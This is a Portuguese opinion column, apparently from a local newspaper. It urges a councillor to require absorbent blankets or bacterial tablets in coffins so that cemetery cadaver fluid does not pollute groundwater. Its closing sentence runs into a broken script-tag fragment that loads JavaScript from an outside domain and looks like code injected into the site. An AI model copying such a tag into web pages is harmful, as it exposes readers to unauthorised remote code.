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Aproveitando a deixa do vereador Ernani Wogeinaki Jr, que defendeu a conservação do cemitério de São João dos Cavalheiros, vamos falar sobre um tema pouco discutido, mas de grande importância no aspecto ambiental e econômico de um município.

 

O vereador, claro, limitou-se a pedir limpeza do local para evitar a proliferação de animais peçonhentos, mas vou sugerir aqui, como maneira de preservação ambiental, para este mesmo vereador, que siga o exemplo de Canoinhas e proponha uma lei obrigando a colocação da chamada manta absorvente do necrochorume, ou ainda a colocação de pastilhas dentro das urnas mortuárias.

 

Vamos entender um pouco sobre a decomposição do corpo humano.

 

Durante a decomposição dos cadáveres é formado um líquido viscoso de cor castanho-acinzentada, chamado de necrochorume. Ele é composto de sais minerais, água, substâncias orgânicas degradáveis, grande quantidade de vírus e bactérias e outros agentes patogênicos. Também podem ser encontrados formaldeído e metanol, usados no embalsamento dos corpos, metais pesados dos adereços dos caixões e resíduos hospitalares, como medicamentos. Para cada quilo de massa corporal, é gerado em torno de 0,6 litros de necrochorume.

 

O potencial poluidor desse líquido é enorme, ele infiltra no solo e pode chegar ao lençol freático, contaminando-o. Porém, é possível tomar alguns cuidados durante sepultamento para prevenir a contaminação das águas subterrâneas. E nesse ponto entra a lei municipal que sugiro. A obrigatoriedade da utilização das pastilhas e/ou mantas absorventes.

 

As pastilhas contém uma imensa quantidade de bactérias selecionadas possuindo, portanto, alta capacidade de digerir matéria orgânica. Essas bactérias vêm em forma de esporos e são ativadas gradativamente na medida em que entram em contato com o líquido liberado pelo corpo em decomposição, que para os esporos é seu alimento. Transformam assim, compostos de difícil metabolização em CO2 e água. São colocadas na altura da região lombar do corpo morto e, na medida em que é liberado o necrochorume estas vão sendo ativadas.

 

A manta absorvente funciona de outra maneira, sendo fabricada de material plástico resistente, uma camada de celulose e um pó, que se transforma em gel quando entra em contato com o necrochorume. A Manta é colocada dentro da urna, revestindo todo o seu interior e, na medida em que o corpo vai liberando líquidos, a celulose vai absorvendo, impedindo que o líquido extravase. Assim, o gel permanece na urna pelo tempo necessário à decomposição, de 3 a 5 anos, sem contaminar a urna, a sepultura e o meio ambiente como um todo. Ainda há, na borda da manta, um fio de náilon, que em uma eventual exumação, é puxado, transformando-a em um saco de ossos.

 

Os cemitérios antigos não apresentam nenhum planejamento, construídos geralmente, veja só, em locais altos, para os mortos ficarem “perto de Deus”. Na maioria dos casos não há estudo do solo ou algum tipo de sistema de drenagem da água da chuva.

 

Embora a preocupação com cemitérios próximos a cidade venha desde o século XVIII, somente em 1998 a Organização Mundial da Saúde emitiu um relatório afirmando que cemitérios são sim, fontes potenciais de poluição, podendo causar impactos ambientais no solo e lençóis freáticos em razão da liberação de substâncias orgânicas e inorgânicas e microrganismos patogênicos.

 

Então fica a dica, não bebam água de poços próximos a cemitérios…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>

Equipe Gazeta
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